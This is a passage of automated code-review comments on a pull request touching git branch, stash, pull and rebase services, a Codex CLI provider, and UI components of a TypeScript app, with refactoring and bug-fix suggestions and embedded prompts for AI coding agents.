success: true for pullConflict, which is inconsistent with performMerge's
contract (performMerge returns success: false when hasConflicts: true); update
the conflict-return block in pull-service.ts (the branch where pullConflict is
true and variables like pullConflictFiles, didStash, stashRestored are used) to
return success: false while keeping hasConflicts: true and the existing conflict
metadata (branch, pulled, conflictSource, conflictFiles, stashed, stashRestored,
message), so downstream callers can rely on success=false to indicate an
actionable conflict.
- Around line 18-20: The import of execGitCommand should come from the shared
package rather than the relative module; update the imports so execGitCommand is
imported from '@automaker/git-utils' while keeping execGitCommandWithLockRetry
and getCurrentBranch imported from the relative '../lib/git.js' to avoid
breaking server-specific utilities—adjust the import statement that currently
reads import { execGitCommand, execGitCommandWithLockRetry, getCurrentBranch }
to separate execGitCommand into the shared-package import and leave
execGitCommandWithLockRetry and getCurrentBranch on the relative import.
- Around line 305-332: The pull logic in pull-service.ts calls
execGitCommand(pullArgs, worktreePath) without forcing a C locale so
isConflictError (which expects English markers) can miss localized conflict
messages; update the execGitCommand invocation(s) in the pull flow (the call
that assigns pullOutput and the call(s) handling errors/errorOutput) to pass an
environment forcing LC_ALL='C' (same approach used in merge-service.ts) so
conflict detection via isConflictError works reliably across locales.
In `@apps/server/src/services/rebase-service.ts`:
- Line 12: The file rebase-service.ts is importing execGitCommand and
getCurrentBranch via a relative path which violates the shared-package
guideline; switch to importing both from the `@automaker/git-utils` package and
add/export getCurrentBranch from that package (e.g., add an exported
getCurrentBranch(worktreePath: string): Promise<string> in
libs/git-utils/src/index.ts or a new branch module that uses execGitCommand).
Update the import in rebase-service.ts to import { execGitCommand,
getCurrentBranch } from '@automaker/git-utils' and ensure getCurrentBranch
internally calls execGitCommand(['rev-parse','--abbrev-ref','HEAD'],
worktreePath) and returns the trimmed branch name.
- Around line 44-73: Validation trims ontoBranch into normalizedOntoBranch but
the code still forwards and returns the original ontoBranch; update the function
to use normalizedOntoBranch everywhere after the validation check — pass
normalizedOntoBranch to execGitCommand (instead of ontoBranch), and use
normalizedOntoBranch in all RebaseResult return objects and error/conflict
return paths (the places that currently set ontoBranch and compose the message),
so callers and git receive the trimmed branch name consistently; references to
help locate changes: normalizedOntoBranch, ontoBranch, execGitCommand,
getCurrentBranch, and the RebaseResult return objects.
In `@apps/server/src/services/worktree-branch-service.ts`:
- Around line 391-399: The code in worktree-branch-service (the logic around
emitting 'switch:error' and then re-throwing checkoutError) causes duplicate
'switch:error' emissions; instead of re-throwing checkoutError after emitting
events?.emit('switch:error') in the branch switch flow, change the function to
return a structured error result (e.g., an object with success: false and
error/info fields) so the caller can handle the exception and emit events once;
locate the block that computes checkoutErrorMsg, emits
events?.emit('switch:error', { worktreePath, branchName, error: checkoutErrorMsg
}) and remove the throw checkoutError, replacing it with a returned error
payload (matching the shape used elsewhere in this service) so the service
remains self-contained and callers can uniformly inspect the returned result.
In `@apps/ui/src/components/ui/git-diff-panel.tsx`:
- Around line 660-677: handleUnstageAll is sending every file path (allPaths
from files) including untracked files to the unstage API which causes backend
errors; update handleUnstageAll to filter files to only those with a staging
state of "staged" or "partial" (i.e., exclude untracked/unstaged entries
produced by getStagingState such as 'unstaged' or 'untracked') before building
allPaths and calling executeStagingAction, and ensure setStagingInProgress is
called with that filtered list instead of the raw files array.
---
Outside diff comments:
In `@apps/server/src/services/auto-mode/facade.ts`:
- Around line 195-216: The fallback model string is hardcoded as
'claude-sonnet-4-6' in the createRunAgentFn code path; replace that literal with
the centralized DEFAULT_MODELS.claude constant by passing DEFAULT_MODELS.claude
into resolveModelString instead, updating the call site in createRunAgentFn so
resolveModelString(model, DEFAULT_MODELS.claude) is used (referencing
createRunAgentFn and resolveModelString to locate the change).
In `@apps/ui/src/components/ui/git-diff-panel.tsx`:
- Around line 351-425: The outer wrapper div uses hover styling but isn't the
interactive control, which can mislead users; update the component so the hover
background is applied to the inner toggle button and mark the outer div as an
accessibility grouping: remove "hover:bg-accent/50" from the outer div's class
list, add that hover class to the button element that calls onToggle, and add
role="group" plus a clear aria-label (e.g., aria-label={`file row:
${fileDiff.filePath}`}) to the outer div to clarify structure for assistive tech
while preserving staging controls like StagingBadge and the onStage/onUnstage
handlers.
---
Duplicate comments:
In `@apps/server/src/providers/codex-provider.ts`:
- Around line 204-209: The SDK-path eligibility (isSdkEligibleWithApiKey) allows
SDK mode even when options.allowedTools is set, but executeCodexSdkQuery
currently does not enforce allowedTools and thus silently ignores tool
restrictions; update executeCodexSdkQuery in codex-sdk-client.ts to accept and
inspect options.allowedTools (or the explicit allowedTools param), enforce the
constraint by filtering/validating tool invocation requests or by forwarding
allowedTools to the underlying SDK call if it supports tool restrictions, and if
the SDK client cannot enforce allowedTools, make executeCodexSdkQuery
reject/throw when options.allowedTools is non-empty so tool restrictions are not
silently dropped; reference the functions isSdkEligibleWithApiKey and
executeCodexSdkQuery when locating changes.
In `@apps/server/src/routes/worktree/routes/check-changes.ts`:
- Around line 85-97: The deduplication using const uniqueFilePaths = new
Set([...staged, ...unstaged, ...untracked]) and using uniqueFilePaths.size for
totalFiles is correct; leave the logic in the check-changes handler as-is (keep
the Set creation and totalFiles assignment) and retain the explanatory comment
near uniqueFilePaths to document why staged/unstaged overlaps are deduplicated.
In `@apps/server/src/services/worktree-branch-service.ts`:
- Around line 152-157: The call to execGitCommand(['rev-parse', '--abbrev-ref',
'HEAD'], worktreePath) inside performSwitchBranch can reject and currently is
unhandled, breaking the switch:error event contract; wrap this call in a
try/catch, mirror the pattern used in checkout-branch-service (lines handling
switch:error), and on error emit the switch:error event with the caught error
and return/abort further processing so performSwitchBranch consistently emits
switch:error when git commands fail (referencing execGitCommand, previousBranch,
worktreePath, and the switch:error event).
In `@apps/ui/src/components/ui/git-diff-panel.tsx`:
- Around line 680-692: Staging summary double-counting was raised but is already
fixed: ensure the useMemo block that computes stagingSummary (symbols:
stagingSummary, getStagingState, files, enableStaging) keeps each file assigned
to exactly one bucket by retaining the current if/else-if/else logic (increment
staged when state === 'staged', unstaged when state === 'unstaged', else
increment partial) and return { staged, partial, unstaged, total: files.length
}; no further code changes are needed—just keep the display logic that renders
partial separately when partial > 0.
- Around line 527-587: executeStagingAction had a past bug where onFinally
wasn't always called on early returns; ensure the pre-try guard still calls
onFinally before returning (as now implemented) and keep the try/finally
structure so that any early returns inside the try (e.g., the
api.worktree?.stageFiles and api.git?.stageFiles availability checks and the
null/failed result paths) will always trigger onFinally in the finally block;
verify executeStagingAction, onFinally, the api.worktree?.stageFiles and
api.git?.stageFiles branches, and the post-success call to loadDiffs remain
unchanged so onFinally is guaranteed for all exit paths.
In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx`:
- Around line 144-153: The code redundantly calls setIsCreating(false)
immediately before returning when the branch API is missing even though the
surrounding try/finally already resets isCreating; remove the explicit
setIsCreating(false) inside the early-return block in the create-branch-dialog
component (the block that checks getElectronAPI()?.worktree?.checkoutBranch) so
the finally block alone handles resetting isCreating, leaving
setIsCreating(true) at the start and the existing finally cleanup intact.
---
Nitpick comments:
In `@apps/server/src/providers/codex-provider.ts`:
- Around line 1169-1172: The local variable name `path` in async function
getCliPath() shadows the imported `path` module; rename the local variable
(e.g., to `cliPath` or `foundPath`) in getCliPath() and return that variable
(keeping the await findCodexCliPath() call) so the imported `path` module
remains accessible for any future path.join()/path.* usage.
In `@apps/server/src/routes/worktree/common.ts`:
- Around line 10-12: Replace the transitional relative re-export of
execGitCommand in common.ts with a direct re-export from the shared package:
import/export the execGitCommand symbol from '@automaker/git-utils' instead of
'../../lib/git.js' so consumers can migrate to the canonical package and this
bridge can be removed later; update the export line that currently references
execGitCommand to reference the '@automaker/git-utils' module.
In `@apps/server/src/routes/worktree/routes/check-changes.ts`:
- Around line 28-61: Move the git status parsing logic out of the route and into
a shared service (create e.g., services/git-status.ts) by extracting the
parseStatusOutput function so route handlers (routes/check-changes.ts,
discard-changes, etc.) delegate to it; in the new service keep the same
signature (parseStatusOutput(stdout: string):
{staged:string[];unstaged:string[];untracked:string[]}) and replace the naive
rename split logic (rawPath.split(' -> ')[1]) with a robust approach (either
parse porcelain -z null-delimited output or if keeping current format, only
treat " -> " as a rename separator when the index status indicates a rename) to
avoid mis-splitting filenames that contain " -> ".
- Around line 63-103: The handler createCheckChangesHandler currently only
responds via HTTP; update it to also emit a WebSocket event using
createEventEmitter() from lib/events.ts: after computing
staged/unstaged/untracked, build the same result object (hasChanges, staged,
unstaged, untracked, totalFiles) and call emitter.emit('check-changes:complete',
result) before sending the JSON response; also emit an error event (e.g.,
'check-changes:error') inside the catch block with the error message so frontend
listeners get failure notifications.
In `@apps/server/src/services/auto-mode/facade.ts`:
- Around line 195-277: The outer zero-arg factory createRunAgentFn should be
replaced with a single async function (e.g., runAgentFn) to remove the redundant
wrapper; refactor the code by turning "const createRunAgentFn = () => async
(...)" into "const runAgentFn = async (...)" and update all call sites that
currently invoke createRunAgentFn() to pass runAgentFn directly to the services
that use it; keep the same parameter list and body (including the
resolveModelString/ProviderFactory logic and the agentExecutor.execute call) so
behavior is unchanged while removing the unnecessary closure.
In `@apps/server/src/services/branch-utils.ts`:
- Around line 126-140: The popStash function currently calls execGitCommand and
thus won't retry on a stale .git/index.lock; update popStash to call
execGitCommandWithLockRetry(['stash', 'pop'], cwd) and keep the same
try/catch/error handling so lock-related failures are retried like stashChanges
does, and remove the execGitCommand import from this file if it becomes unused.
In `@apps/server/src/services/merge-service.ts`:
- Line 55: The assignment const mergeTo = targetBranch || 'main' is redundant
because the function parameter already defaults to 'main'; remove the fallback
and either use targetBranch directly or change the line to const mergeTo =
targetBranch; (or eliminate mergeTo and reference targetBranch in subsequent
calls) — update usages accordingly in merge-service.ts around the merge logic to
rely on the parameter default.
In `@apps/server/src/services/rebase-service.ts`:
- Around line 42-197: runRebase currently performs rebases without emitting
server events; update its signature to accept an optional EventEmitter (e.g.,
runRebase(worktreePath: string, ontoBranch: string, events?: EventEmitter)) and
use createEventEmitter/EventEmitter from lib/events.ts at the call site
(createRebaseHandler already has an emitter). Emit at minimum "rebase:start"
(before execGitCommand), "rebase:complete" on successful rebase (include
branch/ontoBranch/message), and "rebase:conflict" when hasConflicts is true
(include conflictFiles and aborted), and emit a "rebase:error" for unexpected
throws; also emit in abortRebase when abort fails or succeeds so callers can
stream abort status. Ensure all emitted payloads are small serializable objects
and do not change existing return types.
In `@apps/ui/src/components/ui/git-diff-panel.tsx`:
- Line 18: Replace the direct component import with the barrel export: change
the import of TruncatedFilePath (used in git-diff-panel) from
'@/components/ui/truncated-file-path' to import from the components barrel
('@/components') so the file uses the shared barrel export for stability and
refactorability; update any existing import statement for TruncatedFilePath
accordingly and ensure the component name remains unchanged where referenced in
the file.
- Around line 912-979: The fallback UI duplicates the per-file staging controls
found in FileDiffSection; extract those controls into a new FileRowActions
component that accepts props (file, enableStaging, stagingInProgress,
getStagingState, handleStageFile, handleUnstageFile, StagingBadge, Spinner,
Button, Plus, Minus, getStatusBadgeColor, getStatusDisplayName as needed) and
render the badge, spinner and Stage/Unstage button logic there; then replace the
duplicated JSX in both FileDiffSection and the no-diff fallback with
<FileRowActions ... /> (export/import the new component and keep the same
behavior/props so existing handlers continue to work).
In `@apps/ui/src/components/usage-popover.tsx`:
- Around line 41-56: The Math.max(0, …) guards inside the timer formatting logic
are redundant because the function already returns early for diff <= 0; remove
the redundant clamps in the calculations for mins and hours (the expressions
that currently read Math.max(0, Math.ceil(diff / 60000)), Math.max(0,
Math.floor(diff / 3600000)), and Math.max(0, Math.ceil((diff % 3600000) /
60000))) in the same function in usage-popover.tsx and replace them with the
direct Math.ceil/Math.floor calls so the output logic remains identical but
without unnecessary guards.
In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx`:
- Around line 30-35: Replace the direct relative imports of StashConfirmDialog,
UncommittedChangesInfo, StashConfirmAction and BranchInfo with barrel imports
from the app's components/dialogs index barrel (i.e., import these symbols from
the components/dialogs barrel instead of './stash-confirm-dialog' and
'../worktree-panel/types'); confirm the barrel exports include
StashConfirmDialog, UncommittedChangesInfo, StashConfirmAction and BranchInfo
and add them to the appropriate index export if missing so the
create-branch-dialog component can import all four from the barrel.
There was a problem hiding this comment.
Actionable comments posted: 6
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (3)
apps/ui/src/components/usage-popover.tsx (1)
522-529:⚠️ Potential issue | 🟡 MinorIcon-only refresh buttons lack accessible names.
All four provider refresh buttons render only
<RefreshCw />with noaria-label, making them announced as "button" with no context for screen-reader users.🛠️ Proposed fix (same change for all four buttons)
- <Button - variant="ghost" - size="icon" - className={cn('h-6 w-6', claudeLoading && 'opacity-80')} - onClick={() => !claudeLoading && refetchClaude()} - > + <Button + variant="ghost" + size="icon" + aria-label="Refresh Claude usage" + className={cn('h-6 w-6', claudeLoading && 'opacity-80')} + onClick={() => !claudeLoading && refetchClaude()} + >Apply the same
aria-labelpattern ("Refresh Codex usage","Refresh z.ai usage","Refresh Gemini usage") for the other three buttons.Also applies to: 630-638, 768-776, 884-892
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/usage-popover.tsx` around lines 522 - 529, The refresh buttons render an icon-only <Button> (e.g., the Claude button using RefreshCw, className and onClick calling refetchClaude) with no accessible name; add an aria-label to each icon-only Button (for Claude use "Refresh Claude usage") so screen readers get context, and apply the same pattern to the other three provider buttons (use "Refresh Codex usage", "Refresh z.ai usage", "Refresh Gemini usage") while keeping the existing props such as className, claudeLoading conditional, and onClick handlers intact.apps/server/src/providers/codex-provider.ts (1)
839-852:⚠️ Potential issue | 🟠 Major
--output-schemaflag must be positioned before the'-'positional argument — Codex CLI requires all named options before positional arguments.The array constructed at lines 839–849 ends with
'-'(stdin sentinel), then pushesCODEX_OUTPUT_SCHEMA_FLAG/schemaPathafter it (lines 850–852). The Codex CLI parser expects all named flags to precede positional arguments; flags that follow the positional prompt are not consumed. The resulting invocation:codex exec --dangerously-bypass... --skip-git-repo-check --model <m> --json --config ... - --output-schema /path/schema.jsonwill silently drop the
--output-schemaflag, reintroducing the bug where schema output is discarded.Move the schema flag into the array constructor before
'-':Proposed fix
const args = [ CODEX_EXEC_SUBCOMMAND, CODEX_YOLO_FLAG, CODEX_SKIP_GIT_REPO_CHECK_FLAG, ...preExecArgs, CODEX_MODEL_FLAG, options.model, CODEX_JSON_FLAG, ...configOverrideArgs, + ...(schemaPath ? [CODEX_OUTPUT_SCHEMA_FLAG, schemaPath] : []), '-', // Read prompt from stdin to avoid shell escaping issues ]; - if (schemaPath) { - args.push(CODEX_OUTPUT_SCHEMA_FLAG, schemaPath); - }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/providers/codex-provider.ts` around lines 839 - 852, The args array currently appends the '-' stdin sentinel before pushing CODEX_OUTPUT_SCHEMA_FLAG and schemaPath so the CLI treats the schema flag as a positional arg and drops it; modify the construction of the args list in the codex exec invocation (the args variable) so that if schemaPath is present you insert or include CODEX_OUTPUT_SCHEMA_FLAG and schemaPath before the '-' element (i.e., ensure CODEX_OUTPUT_SCHEMA_FLAG and schemaPath appear earlier in the args array, not pushed after the '-' sentinel) so the Codex CLI receives all named options before positional arguments.apps/server/src/services/auto-mode/facade.ts (1)
522-530:⚠️ Potential issue | 🟡 MinorRoute handler must emit
auto_mode_errorevents for errors occurring beforeexecuteFeatureis reached.The removal of
handleFacadeErroris correct for theExecutionService.executeFeaturepath, but the route handler inapps/server/src/routes/auto-mode/routes/resume-feature.ts(lines 31-35) catches errors fromresumeFeatureand only logs them without emitting anauto_mode_errorevent. WhenRecoveryService.resumeFeaturethrows before callingexecuteFeatureFnorexecuteFeatureWithContext(e.g., feature-not-found, context-load failure), the error propagates to the route handler with no UI event emitted, violating the coding guideline that "All server operations should emit events usingcreateEventEmitter()."Add error event emission in the route handler's
.catch()block to notify the frontend of failures.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` around lines 522 - 530, The route handler that calls RecoveryService.resumeFeature (in resume-feature.ts) currently only logs errors in its .catch() and must also emit an auto_mode_error event via createEventEmitter() so failures that occur before ExecutionService.executeFeature are surfaced to the UI; update the .catch() to call createEventEmitter().emit('auto_mode_error', { error: serializeError(err), featureId, projectPath, source: 'resumeFeature' }) (or similar structured payload) instead of just logging, ensuring you reference the same identifiers used by the handler (featureId, projectPath) and keep behavior consistent with handleFacadeError's previous event emission.
🧹 Nitpick comments (15)
apps/server/src/services/rebase-service.ts (1)
178-180: Non-conflict errors are thrown instead of returning a structuredRebaseResult.The function returns
Promise<RebaseResult>and every other error path (validation on line 46,getCurrentBranchfailure on line 57, conflicts on line 165) returns a structured result. But line 179 re-throws the raw error, forcing the caller to handle two different failure modes. This is easy to miss and will surface as an unhandled rejection if the route handler only inspectsresult.success.Proposed fix — return a structured error instead of throwing
- // Non-conflict error - propagate - throw rebaseError; + // Non-conflict error - return structured failure + return { + success: false, + error: getErrorMessage(rebaseError), + branch: currentBranch, + ontoBranch, + };🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/rebase-service.ts` around lines 178 - 180, The code currently re-throws the raw rebaseError variable which breaks the Promise<RebaseResult> contract; change the throw at the end of the rebase flow to return a structured RebaseResult (e.g. { success: false, error: { message: rebaseError.message, stack: rebaseError.stack, code: rebaseError.code || 'REBASE_ERROR' } }) instead of throwing, so callers only ever receive a RebaseResult; update the return where rebaseError is referenced (the throw rebaseError statement) to build and return that object and preserve logging if needed.apps/server/src/routes/worktree/routes/checkout-branch.ts (3)
65-73: ThebaseBranch !== 'HEAD'guard is redundant.
'HEAD'already passes theisValidBranchNameregex (/^[a-zA-Z0-9._\-/]+$/), so!isValidBranchName(baseBranch)isfalsefor'HEAD'and the condition short-circuits before reaching the!== 'HEAD'check. Not a bug, just dead code that may confuse future readers.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/checkout-branch.ts` around lines 65 - 73, The conditional guarding base branch validation contains a redundant check: in the checkout-branch route remove the unnecessary "&& baseBranch !== 'HEAD'" because isValidBranchName(baseBranch) already allows "HEAD"; update the validation in the handler that references baseBranch and isValidBranchName so the if simply tests "if (baseBranch && !isValidBranchName(baseBranch))" and leave the existing error response intact.
176-183: Generic catch emitsswitch:errorwithoutworktreePathorbranchNamecontext.The service's error events include
worktreePathandbranchNamein everyswitch:errorpayload, but the route's generic catch (line 177-179) only sendserror. Any listener keying on those fields for correlation will miss this event. Consider including them:events?.emit('switch:error', { + worktreePath: req.body?.worktreePath, + branchName: req.body?.branchName, error: getErrorMessage(error), });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/checkout-branch.ts` around lines 176 - 183, The catch block emitting events?.emit('switch:error') only sends { error: getErrorMessage(error) } and is missing the worktree context; update the emitter in the generic catch to include worktreePath and branchName (the same fields used elsewhere in this route) so listeners can correlate events. Locate the catch that calls events?.emit('switch:error'), add worktreePath and branchName to the emitted payload (e.g., { worktreePath, branchName, error: getErrorMessage(error) }), keep the existing logError('Checkout branch failed') and res.status(500) response unchanged, and ensure worktreePath/branchName variables are in scope before emitting.
129-175: Simple flow duplicates service logic and skips lifecycle events — consider delegating all paths to the service.The "original simple flow" (lines 130-175) re-implements branch-existence checks, baseBranch validation, and checkout that already exist in
performCheckoutBranch. It also doesn't emitswitch:start/switch:checkout/switch:doneevents, making the two code paths behaviorally inconsistent.You could unify both paths by always calling
performCheckoutBranch(withstashChanges: falsefor the simple case), eliminating ~45 lines of duplication and ensuring consistent event emission. As per coding guidelines, "Server business logic should be organized into services in the services/ directory, with Express route handlers in routes/ that delegate to services."♻️ Sketch
- // Original simple flow (no stash handling) - const currentBranchOutput = await execGitCommand( - ['rev-parse', '--abbrev-ref', 'HEAD'], - resolvedPath - ); - const currentBranch = currentBranchOutput.trim(); - - // Check if branch already exists - try { ... } catch { ... } - - // If baseBranch is provided, verify it exists before using it - if (baseBranch) { ... } - - // Create and checkout the new branch - const checkoutArgs = ['checkout', '-b', branchName]; - if (baseBranch) { checkoutArgs.push(baseBranch); } - await execGitCommand(checkoutArgs, resolvedPath); - - res.json({ ... }); + // Delegate to service for both stash and non-stash paths + const result = await performCheckoutBranch( + resolvedPath, + branchName, + baseBranch, + { + stashChanges: stashChanges ?? false, + includeUntracked: includeUntracked ?? true, + }, + events + ); + + if (!result.success) { + const statusCode = isBranchError(result.error) ? 400 : 500; + res.status(statusCode).json({ + success: false, + error: result.error, + ...(result.stashPopConflicts !== undefined && { + stashPopConflicts: result.stashPopConflicts, + }), + ...(result.stashPopConflictMessage && { + stashPopConflictMessage: result.stashPopConflictMessage, + }), + }); + return; + } + + res.json({ success: true, result: result.result });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/checkout-branch.ts` around lines 129 - 175, Replace the duplicated "original simple flow" in the checkout route with a call to the service function performCheckoutBranch so all branch validation, creation and event emission are handled centrally; specifically, remove the manual rev-parse/checkout logic and call performCheckoutBranch(resolvedPath, { branchName, baseBranch, stashChanges: false }) (or the service's equivalent signature) so that switch:start / switch:checkout / switch:done lifecycle events fire and behavior matches the stash-handling path. Ensure any returned result from performCheckoutBranch is forwarded to res.json and errors are handled the same way as the other branch path.apps/server/src/services/checkout-branch-service.ts (1)
102-113:localBranchExistsat line 103 andhasAnyChangesat line 136 are not in try/catch blocks — failures skipswitch:erroremission.Every other fallible git operation in this function is wrapped to emit
switch:erroron failure. These two calls sit outside any guard, so if they throw (e.g., corrupt repo, permission error), the error propagates without the event contract being honored.Consider wrapping them similarly to the current-branch check (lines 83-100), or at minimum adding an outer try/catch around the pre-checkout validation section that emits
switch:error.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/checkout-branch-service.ts` around lines 102 - 113, The pre-check calls localBranchExists(...) and hasAnyChanges(...) can throw and currently bypass the events?.emit('switch:error', ...) contract; wrap each call (or the entire pre-check validation block that uses worktreePath and branchName) in a try/catch that on error emits events?.emit('switch:error', { worktreePath, branchName, error: err.message || String(err) }) and returns { success: false, error: String(err) } — mirror the error handling pattern used around current branch detection so failures always emit 'switch:error' and return a failure result.apps/server/src/services/pull-service.ts (1)
295-295: Redundant boolean ternary — simplify.
stashRecoveryFailed ? stashRecoveryFailed : undefinedrepeats itself; it can be shortened tostashRecoveryFailed || undefined(which evaluates toundefinedwhenfalse, omitting the field, andtruewhen set). The same pattern appears identically at lines 347 and 354.♻️ Proposed simplification
- stashRecoveryFailed: stashRecoveryFailed ? stashRecoveryFailed : undefined, + stashRecoveryFailed: stashRecoveryFailed || undefined,Also applies to: 347-347, 354-354
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/pull-service.ts` at line 295, Replace the redundant ternary expressions like stashRecoveryFailed ? stashRecoveryFailed : undefined with the simpler stashRecoveryFailed || undefined wherever they occur in pull-service.ts (specifically in the object/property assignments that use stashRecoveryFailed); update the identical occurrences later in the file as well so the property is set to the boolean when true and undefined otherwise.apps/server/src/services/worktree-branch-service.ts (3)
349-400:checkoutErrorMsgis computed identically three times in the samecatchscope.Lines 358, 376, and 393 each declare
const checkoutErrorMsg = getErrorMessage(checkoutError). Hoisting the declaration to the top of thecatchblock removes the repetition.♻️ Proposed refactor
} catch (checkoutError) { + const checkoutErrorMsg = getErrorMessage(checkoutError); // 9. If checkout failed and we stashed, try to restore the stash if (didStash) { const popResult = await popStash(worktreePath); if (popResult.hasConflicts) { - const checkoutErrorMsg = getErrorMessage(checkoutError); events?.emit('switch:error', { worktreePath, branchName, error: checkoutErrorMsg, stashPopConflicts: true, }); return { success: false, error: checkoutErrorMsg, stashPopConflicts: true, stashPopConflictMessage: 'Stash pop resulted in conflicts: your stashed changes were partially reapplied ' + 'but produced merge conflicts. Please resolve the conflicts before retrying the branch switch.', }; } else if (!popResult.success) { - const checkoutErrorMsg = getErrorMessage(checkoutError); const combinedMessage = `${checkoutErrorMsg}. Additionally, restoring your stashed changes failed: ` + `${popResult.error ?? 'unknown error'} — your changes are still saved in the stash.`; events?.emit('switch:error', { worktreePath, branchName, error: combinedMessage, }); return { success: false, error: combinedMessage, stashPopConflicts: false, }; } } - const checkoutErrorMsg = getErrorMessage(checkoutError); events?.emit('switch:error', { worktreePath, branchName, error: checkoutErrorMsg, }); throw checkoutError; }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/worktree-branch-service.ts` around lines 349 - 400, The catch block repeats computing checkoutErrorMsg with getErrorMessage(checkoutError) three times; move a single const checkoutErrorMsg = getErrorMessage(checkoutError) to the top of the catch (above the didStash check) and then use that variable in the branches that build combinedMessage, emit events ('switch:error'), and return objects so you avoid duplicate calls while preserving the existing logic around didStash, popStash(worktreePath)/popResult, events?.emit, and the final throw checkoutError.
253-263:if (!parsedRemote)guard at line 254 is unreachable dead code.When
isRemoteistrue,parsedRemoteis guaranteed non-null — lines 164–180 return early withswitch:errorifparseRemoteBranchreturnsnull. The defensive throw on line 255 can never fire. Consider using a non-null assertion (parsedRemote!) or a TypeScriptasnarrow at the call site, and removing the dead branch.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/worktree-branch-service.ts` around lines 253 - 263, The if (!parsedRemote) guard in the isRemote branch is unreachable because parseRemoteBranch returning null is handled earlier; remove that dead throw and use the non-null parsedRemote when accessing parsedRemote.branch (either by using a non-null assertion parsedRemote! or by narrowing its type where parseRemoteBranch is called), so update the block that calls localBranchExists and execGitCommand to reference parsedRemote confidently (symbols: isRemote, parsedRemote, parseRemoteBranch, localBranchExists, execGitCommand, branchName, worktreePath).
62-81: Non-timeout errors infetchRemotesare silently swallowed with no logging.Timeout errors get a
logger.warncall, but all other errors (auth failure, DNS, corrupt config) fall through thecatchwith zero trace. Even a singlelogger.debugfor non-timeout errors would significantly aid diagnostics without changing semantics.💡 Suggested improvement
} catch (error) { if (error instanceof Error && error.message === 'Process aborted') { logger.warn( `fetchRemotes timed out after ${FETCH_TIMEOUT_MS}ms - continuing without latest remote refs` ); + } else { + logger.debug('fetchRemotes failed (non-fatal) — continuing without latest remote refs', { + cwd, + error: getErrorMessage(error), + }); } // Ignore all fetch errors (timeout or otherwise) - we may be offline or the🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/worktree-branch-service.ts` around lines 62 - 81, The fetchRemotes function currently swallows non-timeout errors silently; after the existing timeout branch in the catch, add a logger.debug (or logger.error at debug level) that logs the caught error and a short context message (including cwd) for any error that is not the specific 'Process aborted' timeout, while preserving the current behavior of continuing without rethrowing; update the catch handling around execGitCommand so that errors other than the timeout are logged (e.g., via logger.debug(`fetchRemotes failed`, { error })) to aid diagnostics.apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx (1)
35-35: Use the barrel export for the cross-module type import.Change
import { type BranchInfo } from '../worktree-panel/types'toimport { type BranchInfo } from '../worktree-panel'. Theworktree-panelmodule explicitly re-exportsBranchInfofrom its barrel index, so importing directly fromtypesbypasses the established pattern.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx` at line 35, Update the import in create-branch-dialog.tsx to use the barrel export: replace the direct cross-module type import of BranchInfo (currently imported from '../worktree-panel/types') with the barrel import from '../worktree-panel' so the file imports { type BranchInfo } from '../worktree-panel' to match the module's re-export pattern.apps/server/src/services/branch-utils.ts (2)
126-140:popStashshould useexecGitCommandWithLockRetryfor consistency
stashChangescorrectly usesexecGitCommandWithLockRetryforstash pushsince it writes to refs (.git/refs/stash).git stash popalso writes to refs (it dropsstash@{0}), so it is equally susceptible to git lock contention. Using the non-retry variant here is an inconsistency that could cause intermittentindex.lockfailures under load or concurrent git operations.♻️ Proposed fix
- await execGitCommand(['stash', 'pop'], cwd); + await execGitCommandWithLockRetry(['stash', 'pop'], cwd);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/branch-utils.ts` around lines 126 - 140, The popStash function uses execGitCommand to run 'git stash pop' but, like stashChanges, it must use execGitCommandWithLockRetry because popping a stash also mutates refs (drops stash@{0}) and can hit index.lock; update popStash to call execGitCommandWithLockRetry(['stash', 'pop'], cwd) and keep the existing error handling (checking getErrorMessage for CONFLICT/Merge conflict) so behavior remains the same while gaining lock-retry semantics.
134-138: Conflict detection inpopStashmay miss git's "overwrite" abort caseThe check covers
CONFLICT/Merge conflict(the merge-workflow path), but there is a second, distinct failure mode:git stash popaborts entirely with"error: Your local changes to the following files would be overwritten by merge"when the working tree already has uncommitted changes to the same files. That path falls into{ success: false, hasConflicts: false }, which is technically correct, but callers inspectinghasConflictsto decide how to proceed may not handle this abort-vs-conflict distinction correctly. Consider documenting this in the JSDoc or adding anisOverwriteAbortedflag.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/branch-utils.ts` around lines 134 - 138, The popStash error handling currently only sets hasConflicts for 'CONFLICT'/'Merge conflict' cases; extend popStash to also detect git's "would be overwritten by merge" abort by checking getErrorMessage(error) for the phrase "would be overwritten by merge" (or "Your local changes to the following files would be overwritten by merge") and return an extra boolean flag (e.g., isOverwriteAborted: true) alongside hasConflicts and error so callers can distinguish an overwrite-abort from a merge conflict; update the returned object shape in popStash (and any local typedef/JSDoc) to include isOverwriteAborted and set it false for other failure paths.apps/server/src/services/auto-mode/facade.ts (1)
195-277:createRunAgentFn()is called twice but produces identical closures — simplify to a single definition.The outer
